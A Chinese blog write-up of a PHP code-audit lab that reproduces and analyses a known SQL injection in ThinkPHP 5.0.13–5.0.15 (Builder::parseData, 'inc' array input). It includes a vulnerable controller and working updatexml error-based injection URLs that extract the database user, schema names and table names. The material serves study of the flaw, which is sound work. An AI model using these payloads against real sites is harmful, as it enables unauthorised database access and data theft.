开始练习【红日团队】的PHP-Audit-Labs 代码审计part2 _ThinkPHP5漏洞
链接:https://github.com/hongriSec/PHP-Audit-Labs
感兴趣的同学可以去练习练习
预备知识:
直接上docker
镜像拉的 mattrayner/lamp
以下是docker命令:
docker pull mattrayner/lamp #拉镜像
docker run -d -p "3000:80" mattrayner/lamp #运行镜像映射端口
docker exec -it 3549fad6ccb3 bash #进入镜像
更新源
这里的composer有点问题,我重新安装了一下
curl -sS https://getcomposer.org/installer | php #重新安装
mv composer.phar /usr/local/bin/composer #设置全局
composer config -g repo.packagist composer https://packagist.phpcomposer.com #配置国内镜像源
接下来就可以正常拉测试环境了
通过以下命令获取测试环境代码:
composer create-project --prefer-dist topthink/think=5.0.15 day1
拉去下来的环境中将composer.json
文件的require
字段设置成如下:
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
}
然后执行composer update
,并将 application/index/controller/Index.php
文件代码设置如下:
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}
在application/database.php
文件中配置数据库相关信息,
并开启 application/config.php
中的 app_debug
和 app_trace
。
创建数据库信息如下:
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
访问:
http://10.211.55.2:3000/day1/public/?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
触发 SQL注入漏洞 。
(没开启 app_debug 是无法看到 SQL 报错信息的)
爆数据库:(因为updatexml
只能显示32位
,如果直接显示就是这样,不能显示完全,显示我们需要的数据)
不能显示完全,我们这里就要配合substring
来一起用:
http://192.168.1.102:3002/day1/public/?username[0]=inc&username[1]=updatexml(1,concat(0x7,(select substring(schema_name,1) from information_schema.schemata limit 4,1),0x7e),1)&username[2]=1
爆表:
http://192.168.1.102:3002/day1/public/?username[0]=inc&username[1]=updatexml(1,concat(0x7,(select group_concat(table_name) from information_schema.tables where table_schema="tpdemo" ),0x7e),1)&username[2]=1
本次漏洞存在于 Builder
类的 parseData
方法中。由于程序没有对数据进行很好的过滤,将数据拼接进SQL
语句,导致 SQL注入漏洞
的产生。漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
。
首先在官方发布的 5.0.16
版本更新说明中,发现其中提到该版本包含了一个安全更新,我们可以查阅其commit
记录,发现其修改的Builder.php
文件代码比较可疑。
接着我们直接跟着上面的攻击 payload
来看看漏洞原理。首先, payload
数据经过 ThinkPHP
内置方法的过滤后(不影响我们的 payload )
,直接进入了 $this->builder
的 insert
方法,这里的$this->builder
为 \think\db\builder\Mysql
类,代码如下:
而 Mysql
类继承于 Builder
类,即上面的 $this->builder->insert()
最终调用的是 Builder
类的 insert
方法。在insert
方法中,我们看到其调用parseData
方法来分析并处理数据,而 parseData
方法直接将来自用户的数据 $val
进行了拼接返回。我们的恶意数据存储在 $val[1]
中,虽经过了parseKey
方法处理,当丝毫不受影响,因为该方法只是用来解析处理数据的,并不是清洗数据。
上面,我们看到直接将用户数据进行拼接
。然后再回到 Builder
类的insert
方法,直接通过替换字符串的方式,将 $data
填充到 SQL
语句中,进而执行,造成 SQL注入漏洞
。
至此,我们已将整个漏洞分析完了。实际上,上面的switch
结构中,3种情况返回的数据都有可能造成 SQL
注入漏洞,但是在观察ThinkPHP
官方的修复代码中,发现其只对inc
和 dec
进行了修复,而对于exp
的情况并未处理,这是为什么呢?
实际上, exp
的情况早在传入insert
方法前就被 ThinkPHP
内置过滤方法给处理了,如果数据中存在 exp
,则会被替换成exp
空格 ,这也是为什么 ThinkPHP
官方没有对exp
的情况进行处理的原因了。具体内置过滤方法的代码如下:
最后,再通过一张攻击流程图来回顾整个攻击过程。
再次感谢【红日团队】